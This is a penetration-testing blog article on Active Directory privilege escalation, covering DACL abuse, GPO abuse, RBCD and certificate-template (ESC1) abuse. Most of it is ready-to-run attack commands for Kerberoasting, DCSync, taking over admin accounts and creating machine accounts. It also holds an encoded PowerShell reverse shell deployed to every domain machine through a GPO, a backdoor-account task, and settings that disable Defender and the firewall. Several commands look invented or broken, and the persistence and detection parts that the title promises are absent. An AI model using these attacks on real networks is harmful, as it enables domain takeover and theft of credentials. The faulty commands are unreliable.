Skip to content

Table of Contents

Active Directory Penetration Testing Part 4: Privilege Escalation, ADCS Abuse, Persistence, Detection, and Defense

Penetration testing

Introduction: From a Foothold to Full Domain Control

Getting into a network is rarely the hard part in penetration testing. A phishing email lands. A misconfigured service is exposed. A password is reused across a VPN and a domain account. Initial access, while valuable, gives an attacker relatively little on its own – usually the permissions of a standard domain user, a service account, or a machine account. What happens next is where most Active Directory compromises become catastrophic.

In Part 1 of this penetration testing series, we covered the reconnaissance and enumeration phase: mapping the domain with LDAP queries, harvesting data with BloodHound, extracting service principal names for Kerberoasting, and identifying accounts vulnerable to AS-REP Roasting. In Parts 2 and 3, we covered credential access, lateral movement fundamentals, and the tooling that red teams rely on to move efficiently across a Windows environment during a penetration test.

Part 4 picks up at the inflection point that defines most real-world Active Directory compromises during penetration testing: the transition from a low-privileged foothold to domain dominance. This is the phase where misconfigurations, excessive permissions, and architectural weaknesses in Active Directory Certificate Services (ADCS) transform a limited domain account into a golden ticket, literally and figuratively.

This article covers Active Directory privilege escalation in depth for penetration testing purposes, including DACL abuse, Resource-Based Constrained Delegation, Shadow Credentials, and the full spectrum of ADCS escalation paths known as ESC1 through ESC10. It then addresses the techniques attackers use to maintain persistence, DCSync, Golden Tickets, Silver Tickets, DCShadow, and SID History manipulation, before examining detection engineering, Microsoft Defender for Identity, and the broader discipline of Identity Threat Detection and Response.

Throughout, the perspective is dual: understanding how attacks work in penetration testing is inseparable from understanding how to detect and prevent them. Defenders who do not understand the offensive techniques they are trying to stop will always be one step behind.


Quick Recap: What Parts 1 and 2 Established

Before diving into privilege escalation during a penetration test, it helps to remember where a typical attacker stands at the end of the enumeration phase.

What the Attacker Knows After Enumeration

After running BloodHound against the domain and collecting LDAP data, a red team operator during a penetration test typically has:

  • A complete graph of Active Directory objects: users, computers, groups, OUs, and GPOs

  • Identified accounts with Kerberoastable Service Principal Names (SPNs)

  • Identified accounts configured for AS-REP Roasting (no pre-authentication required)

  • A map of delegation relationships, including unconstrained and constrained delegation

  • Potentially cracked NTLM hashes or Kerberos tickets from offline attacks

  • A clear picture of administrative group memberships across the domain

What they almost certainly do not have is Domain Admin. BloodHound’s real value in the early phase of a penetration test is identifying the shortest path to domain compromise, a chain of permissions, misconfigurations, or trust relationships that leads from the current foothold to Domain Admins, Enterprise Admins, or equivalent privilege.

The next phase in the penetration test is executing that path. This is Active Directory privilege escalation.

Active Directory Privilege Escalation: Concepts and Categories

Privilege escalation in Active Directory penetration testing is simply moving from “I can’t do much” to “I can do everything.” But here’s what most people get wrong: privilege in Active Directory isn’t a straight ladder. It’s a web.


Vertical vs. Horizontal Escalation

Vertical escalation is what everyone thinks about: going from a standard domain user to Domain Admin. That’s the jackpot in any penetration test.

Horizontal escalation is less obvious but just as important. Imagine you compromise a standard user account, and that user happens to be a member of the local administrators group on 50 workstations. You haven’t escalated vertically, yet you’re still just a regular domain user. But you can now move laterally across 50 machines. From one of those machines, you might find a service account logged in with Domain Admin privileges. That’s horizontal enabling vertical.

Real-world penetration testing example: You compromise jsmith, a help desk employee. JSmith is a member of the “Workstation Admins” group, which has local admin privileges on every workstation in the company. You use that access to move to the IT manager’s workstation, find their cached credentials, and escalate to Domain Admin. That’s horizontal → vertical.


Why Permissions Matter More Than Vulnerabilities

Here’s a truth I’ve learned from years of penetration testing: Active Directory privilege escalation is rarely about CVEs.

You’re not exploiting a buffer overflow. You’re not bypassing ASLR. You’re abusing permissions that someone, often years ago, set up for convenience and never reviewed.

 
 
What You Might Find in a Penetration Test: Whatt It MeansHow It Happened
svc_backup has GenericAll on the Domain Admins groupThe backup service account can add itself to the Domain Admins groupSomeone delegated this “temporarily” and forgot
jsmith has WriteDACL on the CEO’s user objectJSmithcan grant himself full control over the CEO’s accountThe help desk was given too much power to reset passwords
Any authenticated user can enroll in a certificate templateA standard user can get a cert that authenticates as anyoneThe template was created for VPN and was never locked down

Vulnerability scanners won’t find these. They’re not vulnerabilities, they’re misconfigurations. And misconfigurations are what penetration testers live for.

Practical command to find these in a penetration test:

powershell
# Find all users with GenericAll on any object
Get-DomainObjectAcl -ResolveGUIDs | 
  Where-Object {$_.ActiveDirectoryRights -eq "GenericAll"} |
  ForEach-Object {
    $object = Get-DomainObject -Identity $_.ObjectDN
    $subject = Get-DomainObject -Identity $_.SecurityIdentifier
    Write-Host "$subject has GenericAll on $object"
  }

The Four Categories of Active Directory Privilege Escalation

Let me break down the four ways you’ll escalate privileges in a penetration test. Each one has practical commands you can run right now.

Category 1: Credential Abuse

This is extracting or replaying authentication material. You’re stealing keys, not breaking locks.

Practical examples from penetration testing:

bash
# Kerberoasting — request a service ticket and crack it offline
GetUserSPNs.py corp.example.com/jsmith:'Password1' -request -outputfile hashes.txt
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -r best64.rule

# Pass-the-Hash — use a stolen hash to authenticate without cracking
netexec smb 192.168.1.100 -u administrator -H aad3b435b51404eeaad3b435b51404ee

# DCSync — extract all hashes from the domain (requires Domain Admin or replication rights)
secretsdump.py corp.example.com/da_user:'Password'@192.168.1.100

Why this works in penetration tests: Service accounts have passwords set in 2018 that haven’t been changed. They’re weak. They crack in minutes.

Category 2: Permission Abuse

This is an abuse of delegated rights in Active Directory object ACLs. Someone gave you a key — you’re just using it.

Practical examples from penetration testing:

powershell
# Scenario: You have GenericWrite on svc_sql
# You can set a malicious SPN and Kerberoast it
Set-DomainObject -Identity svc_sql -Set @{serviceprincipalname='nonexistent/FAKE'}
# Then request a TGS for that SPN and crack it

# Scenario: You have ForceChangePassword on a Domain Admin
# You can reset their password without knowing the current one
Set-DomainUserPassword -Identity domainadmin -NewPassword 'NewPass123!'

# Scenario: You have AddMember on Domain Admins
# Add yourself directly to the group
Add-DomainGroupMember -Identity "Domain Admins" -Members "jsmith"

What this looks like in BloodHound: You see a red edge from your account to a high-value target. That edge is labeled “GenericAll,” “WriteDACL,” or “ForceChangePassword.” Right-click it. It tells you exactly what permission you have.

Category 3: Trust Abuse

This is exploiting Kerberos delegation or domain trust configurations.

Practical examples from penetration testing:

Unconstrained Delegation: You compromise a machine with unconstrained delegation. Every user who RDPs or connects to that machine leaves their TGT in memory. You extract it and impersonate them.

# Find unconstrained delegation computers (excluding DCs)
Get-DomainComputer -Unconstrained | Where-Object {$_.Name -notlike "*DC*"}

# Compromise the machine, dump TGTs
Rubeus.exe dump /service:krbtgt /nowrap

# Use the TGT to impersonate the user
Rubeus.exe ptt /ticket:base64-ticket

Resource-Based Constrained Delegation (RBCD): You have write access to a computer object. You configure it to trust your machine for delegation, then impersonate Domain Admin to it.

# Create a computer account (default: any user can create 10)
New-MachineAccount -MachineAccount attackerPC -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force)

# Get the SID of your new computer
Get-DomainComputer -Identity attackerPC

# Set RBCD on the target computer
Set-DomainRBCD -Identity targetDC -DelegateFrom attackerPC

# Impersonate Domain Admin to the target
Rubeus.exe s4u /user:attackerPC$ /impersonateuser: administrator /msdsspn: CIFS/targetDC /altservice:cifs /ptt
Category 4: Certificate Abuse

This is exploiting misconfigured ADCS templates or CA settings. This is the attack path I see most often missed in penetration tests.

Practical examples from penetration testing:

# Find vulnerable certificate templates with Certipy
certipy find -u jsmith -p 'Password1' -dc-ip 192.168.1.100

# ESC1: Template allows SAN specification
# Request a certificate as Domain Admin
certipy req -u jsmith -p 'Password1' -ca corp-CA -target 192.168.1.100 \
  -template UserEnroll -upn administrator@corp.example.com

# Use the certificate to get a TGT
certipy auth -pfx administrator.pfx -dc-ip 192.168.1.100

# You now have a TGT for Domain Admin

What this looks like in a penetration test: You’re a standard domain user. You request a certificate with “administrator” in the SAN field. The CA issues it. You authenticate as Domain Admin. Zero password cracking. Zero privilege escalation, just a misconfigured template.

Active Directory privilege escalation in penetration testing is not about exploiting vulnerabilities. It’s about exploiting permissions. The keys to the kingdom are already in the directory someone just left them lying around.

Your job as a penetration tester is to find them. BloodHound shows you where they are. The commands above show you how to use them. The rest is patience and practice.

DACL Abuse: When the Access Control List Becomes the Attack Vector

In a real penetration testing, every object in Active Directory, users, groups, computers, OUs, and GPOs has an Access Control List (ACL). Think of it as a permission spreadsheet that says who can do what to each object.

Here’s the problem: over the years of using Active Directory, these ACLs have become a tangled mess. Permissions get added for convenience and never removed. Delegation happens for one project and stays forever. By the time you run a penetration test, there are dozens of hidden paths from standard users to Domain Admin.


High-Value ACE Permissions You’ll Find in Penetration Tests

Let me tell you which permissions I get most excited about during a penetration test:

 
 
ACE Permission: Whatt It Lets You Do, Whyy It’s Gold in a Penetration Test
GenericAllFull control over the objectReset passwords, add to groups, modify anything — complete takeover
GenericWriteWrite to non-protected attributesAdd a malicious SPN for Kerberoasting, modify logon scripts
WriteDACLModify the object’s own ACLGrant yourself GenericAll on anything
WriteOwnerChange who owns the objectBecome the owner, then give yourself full control
AddMemberAdd members to a groupPut yourself directly into the Domain Admins
ForceChangePasswordReset password without knowing the current oneTake over any account instantly

How DACL Abuse Works in a Penetration Test

Let me show you three real scenarios I’ve actually run during penetration tests.

Scenario 1: The Direct Path

You’re running a penetration test. BloodHound shows that svc_backup has GenericAll on the Domain Admins group.

What this means: You can add any account to Domain Admins. Right now. No password cracking. No phishing. Just one command:

# Add yourself to Domain Admins
Add-ADGroupMember -Identity "Domain Admins" -Members "jsmith"

# Verify it worked
Get-ADGroupMember -Identity "Domain Admins"

Why this happens in penetration tests: Someone delegated control of Domain Admins to the backup service account because “it needed to restore AD objects.” They forgot to remove it. Years later, you’re in as Domain Admin in 30 seconds.

Scenario 2: The Chain

Here’s a more subtle one I found recently during a penetration test. BloodHound showed:

jsmith → GenericWrite → svc_sql
svc_sql → AddMember → Domain Admins

What this means: You don’t have direct access to Domain Admins. But you have GenericWrite on svc_sql. You can modify svc_sql to add a malicious SPN, Kerberoast it, crack the password, then add yourself to Domain Admins.

# Step 1: Add a malicious SPN to svc_sql
Set-DomainObject -Identity svc_sql -Set @{serviceprincipalname='FAKE/doesnotexist'}

# Step 2: Kerberoast the account
Rubeus.exe kerberoast /user:svc_sql /outfile:hash.txt

# Step 3: Crack the hash
hashcat -m 13100 hash.txt rockyou.txt

# Step 4: Use the password to add yourself to Domain Admins
Add-ADGroupMember -Identity "Domain Admins" -Members "jsmith" -Credential (Get-Credential svc_sql)

Why this works in penetration tests: svc_sql was created years ago. Nobody ever reviewed its permissions. It accidentally inherited AddMember rights from a group membership.

Scenario 3: The WriteDACL Trick

This is my favorite part of penetration testing. You find an account with WriteDACL on a Domain Admin user object.

What this means: You don’t have GenericAll. You don’t have ForceChangePassword. But you have WriteDACL — which means you can modify the ACL on that user object. So you grant yourself GenericAll, then reset their password.

# Step 1: Check what permissions you have
Get-DomainObjectAcl -Identity domainadmin_user | 
  Where-Object {$_.SecurityIdentifier -eq (Get-DomainUser jsmith).SID}

# Step 2: Grant yourself GenericAll on the Domain Admin user
# (Requires a tool like PowerView or manual ADSI edit)
Add-DomainObjectAcl -TargetIdentity domainadmin_user -PrincipalIdentity jsmith -Rights GenericAll

# Step 3: Reset the Domain Admin's password
Set-DomainUserPassword -Identity domainadmin_user -NewPassword 'NewPass123!'

# Step 4: You're now a Domain Admin

Why this is stealthy: You didn’t add yourself to the Domain Admins group. You didn’t modify the Domain Admins group. You just took over one admin account. Fewer logs. Less suspicious.


Practical Commands for Finding DACL Abuse in Penetration Tests

Here are the commands I run during every penetration test to find DACL abuse paths:

# Find all ACLs where your current user has any permission
Get-DomainObjectAcl -ResolveGUIDs | 
  Where-Object {$_.SecurityIdentifier -eq (Get-DomainUser jsmith).SID} |
  Select-Object ObjectDN, ActiveDirectoryRights

# Find all GenericAll permissions in the domain
Get-DomainObjectAcl -ResolveGUIDs | 
  Where-Object {$_.ActiveDirectoryRights -eq "GenericAll"} |
  ForEach-Object {
    $subject = Get-DomainObject -Identity $_.SecurityIdentifier
    $object = Get-DomainObject -Identity $_.ObjectDN
    Write-Host "$subject has GenericAll on $object"
  }

# Find all ForceChangePassword permissions
Get-DomainObjectAcl -ResolveGUIDs | 
  Where-Object {$_.ActiveDirectoryRights -match "ExtendedRight"} |
  Where-Object {$_.ObjectType -eq "00299570-246d-11d0-a768-00aa006e0529"} |
  ForEach-Object {
    $subject = Get-DomainObject -Identity $_.SecurityIdentifier
    $object = Get-DomainObject -Identity $_.ObjectDN
    Write-Host "$subject can reset password for $object"
  }

# Find who can add members to Domain Admins
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | 
  Where-Object {$_.ActiveDirectoryRights -match "WriteProperty"} |
  Where-Object {$_.ObjectType -eq "bf9679c0-0de6-11d0-a285-00aa003049e2"} |
  ForEach-Object {
    $subject = Get-DomainObject -Identity $_.SecurityIdentifier
    Write-Host "$subject can add members to Domain Admins"
  }

Using BloodHound to Find DACL Abuse Paths

BloodHound makes DACL abuse visible in seconds. Here’s how I use it during a penetration test:

Step 1: Run the “Shortest Paths to Domain Admins” query

This shows you every possible path from your current account to Domain Admin. Look for red edges; those are permissions you can abuse.

Step 2: Check “Outbound Object Control” on your account

Right-click your account → “Outbound Object Control” → “Transitive Object Control.” This shows every object you can influence directly or through chains.

Step 3: Look for these high-value edges

 
 
Edge Type: Whatt It Means Howw to Exploit
GenericAllFull control over the targetReset password, add to groups
WriteDACLCan modify the target’s ACLGrant yourself GenericAll
GenericWriteCan write to the target’s attributesSet SPN for Kerberoasting
ForceChangePasswordCan reset the target’s passwordDirect takeover
AddMemberCan add members to the groupAdd yourself to Domain Admins

Step 4: Custom Cipher query for DACL abuse

cypher
// Find all users with GenericAll on Domain Admins
MATCH (u:User)-[:GenericAll]->(g:Group {name: "DOMAIN ADMINS@CORP.EXAMPLE.COM"})
RETURN u.name, g.name

// Find all users with WriteDACL on any high-value group
MATCH (u:User)-[:WriteDACL]->(g:Group)
WHERE g.name CONTAINS "ADMIN" OR g.name CONTAINS "DOMAIN"
RETURN u.name, g.name

// Find all ForceChangePassword permissions
MATCH (u:User)-[:ForceChangePassword]->(t:User)
WHERE t.name CONTAINS "ADMIN" OR t.name CONTAINS "DOMAIN"
RETURN u.name, t.name

Real-World DACL Abuse Findings from Penetration Tests

Here are actual findings I’ve documented in penetration test reports:

Finding 1: The Help Desk Over-Permission

“The HelpDesk group has GenericAll on all user objects in the Finance OU. A penetration tester who compromises any help desk account can reset the password of the Finance Director, access financial systems, and move laterally to Domain Admin.”

Finding 2: The Service Account Creep

svc_sharepoint has WriteDACL on the Domain Admins group. This account was created for SharePoint integration in 2018. The permission was never removed. Any attacker who compromises this account can grant themselves Domain Admin.”

Finding 3: The Temporary Delegation That Became Permanent

“The IT_Admins group has AddMember on the Schema Admins group. This delegation was created to allow a consultant to deploy a schema extension. The consultant left three years ago. The permission remains.”


Detection and Mitigation (For Blue Teams)

If you’re defending Active Directory, here’s how to detect and prevent DACL abuse:

Detection:

  • Monitor Event ID 4662 (object operation) for writes to sensitive objects.

  • Watch for changes to nTSecurityDescriptor on Domain Admins, Enterprise Admins, and KRBTGT.

  • Alert on modifications to adminCount on any object

  • Use Microsoft Defender for Identity’s “Suspicious ACL modification” detection

Mitigation:

# Find all permissions on Domain Admins
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | 
  Select-Object ObjectDN, ActiveDirectoryRights, SecurityIdentifier

# Find all users with GenericAll on any object
Get-DomainObjectAcl -ResolveGUIDs | 
  Where-Object {$_.ActiveDirectoryRights -eq "GenericAll"} |
  ForEach-Object {
    $subject = Get-DomainObject -Identity $_.SecurityIdentifier
    $object = Get-DomainObject -Identity $_.ObjectDN
    Write-Host "$subject has GenericAll on $object"
  } | Export-Csv genericall_audit.csv

# Remove unnecessary permissions (use with caution)
Remove-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity svc_backup -Rights GenericAll

GPO Abuse: Weaponizing Group Policy in Penetration Testing

Let me show you how to turn Group Policy against itself during a penetration test. Group Policy is one of the most powerful mechanisms in Active Directory. It pushes security settings, software deployments, login scripts, and registry values to thousands of machines simultaneously.

That power is exactly what makes it a high-value target. If you can gain write access to a GPO during a penetration test, you can execute code as SYSTEM on every machine it applies to.


Group Policy Architecture (What You Need to Know)

Group Policy Objects (GPOs) are stored in two places:

 
 
Location: What’st It Stores. Howw Attackers Use It
Group Policy Container (GPC) in Active DirectoryMetadata and permission informationAttackers check who can modify GPOs
Group Policy Template (GPT) in SYSVOLThe actual settings filesAttackers modify scripts or scheduled tasks

A GPO is linked to a Site, Domain, or Organizational Unit (OU). When you compromise a GPO linked to the Domain Controllers OU, you own every DC. When you compromise a GPO linked to the Workstations OU, you own every workstation.

The attack surface: Who has CreateChild, DeleteChild, GenericWrite, or WriteDACL on a GPO linked to a high-value OU?


Finding GPO Attack Paths in a Penetration Test

Here are the commands I run during every penetration test to find GPO abuse opportunities:

powershell
# Find all GPOs and who can modify them
Get-DomainGPO | Get-ObjectAcl -ResolveGUIDs | 
  Where-Object {$_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|WriteDACL"} |
  ForEach-Object {
    $gpo = Get-DomainGPO -Identity $_.ObjectDN
    $subject = Get-DomainObject -Identity $_.SecurityIdentifier
    Write-Host "$subject can modify $($gpo.DisplayName)"
  }

# Find GPOs linked to high-value OUs (Domain Controllers, Servers, etc.)
Get-DomainGPO -Properties DisplayName, gPCUserExtensionNames, gPCMachineExtensionNames | 
  Where-Object {$_.gPCMachineExtensionNames -match "Domain Controllers"}

# Find users with GPO write access
netexec ldap 192.168.1.100 -u jsmith -p 'Password1' --gpo --gpo-users

What you’re looking for: Any account you control that has write access to a GPO. If you find one, you can own everything in that GPO’s scope.

Common GPO Abuse Techniques in Penetration Testing

Let me walk you through each technique with practical commands you can run during a penetration test.

Technique 1: Scheduled Task Injection

If you have write access to a GPO, you can create a scheduled task that runs as SYSTEM on every computer the GPO applies to.

# Create a scheduled task GPO using PowerView
# This creates a scheduled task that runs a reverse shell every hour
$command = 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADEALgAxADAAMAAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQA9ACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA'

# Add the scheduled task to the GPO
New-GPOImmediateTask -TaskName "UpdateCheck" -Command "powershell.exe" -Arguments "-e $command" -GPODisplayName "Default Domain Policy"

What this does: Every machine in the domain will run your reverse shell within 90 minutes (the default GPO refresh interval).

Technique 2: Startup Script Manipulation

GPOs support startup and logon scripts. Replace or add a script that executes attacker-controlled code.

# Find the SYSVOL path for a GPO
$gpo = Get-DomainGPO -Identity "Default Domain Policy"
$sysvolPath = "\\$($gpo.gPCMachineExtensionNames)\SYSVOL\$($gpo.DisplayName)\Machine\Scripts\Startup"

# Copy a malicious script to the GPO's startup scripts folder
Copy-Item -Path "C:\Tools\malicious.ps1" -Destination "$sysvolPath\startup.ps1"

# Modify the GPO to run the script
Set-GPO -Name "Default Domain Policy" -StartupScript "startup.ps1"
Technique 3: Security Setting Modification

Sometimes you don’t want to execute code; you want to make the environment easier to exploit.

# Disable Windows Defender via GPO
Set-GPRegistryValue -Name "Default Domain Policy" -Key "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" -ValueName "DisableAntiSpyware" -Type DWord -Value 1

# Disable Windows Firewall
Set-GPRegistryValue -Name "Default Domain Policy" -Key "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile" -ValueName "EnableFirewall" -Type DWord -Value 0

# Enable WDigest to cache cleartext passwords
Set-GPRegistryValue -Name "Default Domain Policy" -Key "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -ValueName "UseLogonCredential" -Type DWord -Value 1
Technique 4: Software Deployment

GPOs support MSI package deployment. Deploy malicious software as SYSTEM to all in-scope computers.

# Create a malicious MSI package
# (Tools like msfvenom can generate MSI payloads)

# Deploy via GPO
$gpo = Get-DomainGPO -Identity "Default Domain Policy"
New-GPOMsi -Name "BackupAgent" -Package "\\fileserver\share\malicious.msi" -GPODisplayName $gpo.DisplayName

Practical GPO Abuse Walkthrough

Let me walk you through a real penetration test scenario.

Step 1: Find GPOs you can modify

bash
# From Linux using NetExec
netexec ldap 192.168.1.100 -u jsmith -p 'Password1' --gpo --gpo-permissions

# Output shows:
# GPO: Default Domain Policy (CN={31B2F340-016D-11D2-945F-00C04FB984F9})
#   WriteDACL: jsmith

Step 2: Create a scheduled task for persistence

powershell
# Use PowerView to add a scheduled task to the GPO
$gpo = Get-DomainGPO -Identity "Default Domain Policy"
New-GPOImmediateTask -TaskName "WindowsUpdateService" -Command "cmd.exe" -Arguments "/c net user backdoor Password123! /add && net localgroup administrators backdoor /add" -GPODisplayName $gpo.DisplayName

Step 3: Wait for GPO refresh (90 minutes default, or force it)

powershell
# Force GPO refresh on a target machine
Invoke-GPUpdate -Computer "TARGET01" -Force

Step 4: Verify the backdoor account exists

bash
netexec smb 192.168.1.100 -u backdoor -p 'Password123!'

Detection and Mitigation (For Blue Teams)

Detection:

powershell
# Monitor GPO modifications
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=5136} | 
  Where-Object {$_.Properties[5].Value -match "CN=.*Policy"} |
  Select-Object TimeCreated, @{N='ModifiedBy'; E={$_.Properties[1].Value}}, @{N='Object'; E={$_.Properties[6].Value}}

# Check for suspicious scheduled tasks in GPOs
Get-DomainGPO | Get-GPRegistryValue -Key "HKLM\SOFTWARE\Policies\Microsoft\Windows\ScheduledTasks"

Remediation:

  • Restrict GPO creation to dedicated GPO administrators.

  • Apply least-privilege permissions on GPOs

  • Monitor Event ID 5136 for GPO modifications.

  • Use Microsoft Defender for Identity’s GPO abuse detection.


Resource-Based Constrained Delegation (RBCD)

Let me show you one of the most powerful privilege escalation techniques in modern penetration testing. RBCD turns a small misconfiguration into a direct path to Domain Admin.

The Three Delegation Models

Think of Kerberos delegation as “I’ll authenticate on your behalf.”

Unconstrained delegation (most dangerous): A machine or service account configured for unconstrained delegation receives a copy of the TGT of any user who authenticates to it. Compromise this machine, and you get TGTs for every user who logs in, including Domain Admins.

Constrained delegation (better): Restricts which services a delegating account can impersonate users to. Better than unconstrained, but still requires Domain Admin involvement.

Resource-Based Constrained Delegation (RBCD): The target resource specifies which accounts can delegate to it. This is controlled via the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the target computer object.

Why RBCD Is a Powerful Attack Primitive

Here’s the critical difference: modifying msDS-AllowedToActOnBehalfOfOtherIdentity only requires write access to the target computer object, not Domain Admin rights.

If you have GenericWrite or WriteDACL on a computer account (which is far more common than Domain Admin access), you can:

  1. Create a computer account (by default, any domain user can create up to 10)

  2. Write that computer account’s SID into the target’s msDS-AllowedToActOnBehalfOfOtherIdentity

  3. Use S4U2Proxy to request a service ticket to the target as any user — including Domain Admin

No vulnerability. No exploit. Just a misconfigured permission.

Practical RBCD Attack Walkthrough

Here’s exactly how to run an RBCD attack during a penetration test.

Step 1: Check if you can create computer accounts

bash
# Check MachineAccountQuota
netexec ldap 192.168.1.100 -u jsmith -p 'Password1' --machine-account-quota
# If it's 10 or more (default is 10), you're good

Step 2: Create a new computer account

bash
# Using Impacket
addcomputer.py corp.example.com/jsmith:'Password1' -computer-name ATTACKERPC -computer-pass 'Password123!'

# Using PowerView (Windows)
New-MachineAccount -MachineAccount ATTACKERPC -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force)

Step 3: Get the SID of your new computer account

bash
# Using Impacket
lookupsid.py corp.example.com/jsmith:'Password1'@192.168.1.100

# Or from Windows
Get-DomainComputer -Identity ATTACKERPC | Select-Object ObjectSID

Step 4: Set RBCD on the target computer

# Using PowerView (Windows)
Set-DomainRBCD -Identity TARGETDC -DelegateFrom ATTACKERPC

# Using Impacket (Linux)
rbcd.py corp.example.com/jsmith:'Password1' -target-computer TARGETDC -delegate-from ATTACKERPC

Step 5: Impersonate the Domain Admin to the target

powershell
# Using Rubeus (Windows)
Rubeus.exe s4u /user:ATTACKERPC$ /password:Password123! /impersonateuser: administrator /msdsspn: CIFS/TARGETDC /altservice:cifs /ptt

# Using Impacket (Linux)
getST.py corp.example.com/ATTACKERPC:'Password123!' -spn CIFS/TARGETDC -impersonate administrator
export KRB5CCNAME=administrator.ccache

Step 6: Access the target as Domain Admin

bash
# Connect to TARGETDC as Domain Admin
netexec smb TARGETDC -k

Finding RBCD Attack Paths in BloodHound

cypher
// Find all computers with write permissions from non-admin accounts
MATCH (u:User)-[:GenericWrite|WriteDACL|WriteOwner]->(c:Computer)
WHERE NOT u.name CONTAINS "ADMIN"
RETURN u.name, c.name

// Find all computers with RBCD configured
MATCH (c:Computer {rbad: true})
RETURN c.name, c.rbad

Detection and Hardening

Detection:

  • Monitor Event ID 4742 (computer account modified) for changes to msDS-AllowedToActOnBehalfOfOtherIdentity

  • Alert on S4U2Proxy Kerberos requests (Event ID 4769) where the impersonated user is a high-privilege user

  • Microsoft Defender for Identity detects suspicious RBCD configurations

Hardening:

powershell
# Set MachineAccountQuota to 0
Set-ADObject -Identity "DC=corp,DC=example,DC=com" -Replace @{"ms-DS-MachineAccountQuota"=0}

# Audit all RBCD configurations
Get-DomainComputer -Properties name, msds-allowedtoactonbehalfofotheridentity |
  Where-Object {$_.msds-allowedtoactonbehalfofotheridentity -ne $null}

GPO abuse and RBCD are two of the most powerful privilege escalation techniques in Active Directory penetration testing. They don’t require exploits. They don’t require cracking passwords. They require finding the right permission.

GPO abuse: Write access to a GPO = SYSTEM on every machine in scope

RBCD: Write access to a computer account = Domain Admin impersonation

Both are common. Both are overlooked. Both will get you to Domain Admin in minutes during a penetration test.

Learning the methodology is important, but mastering it requires hands-on practice.
If you’re serious about penetration testing, red teaming, or Active Directory security assessments, try realistic cybersecurity CTF labs that let you practice reconnaissance, enumeration, credential attacks, privilege escalation, and exploitation techniques in a safe environment.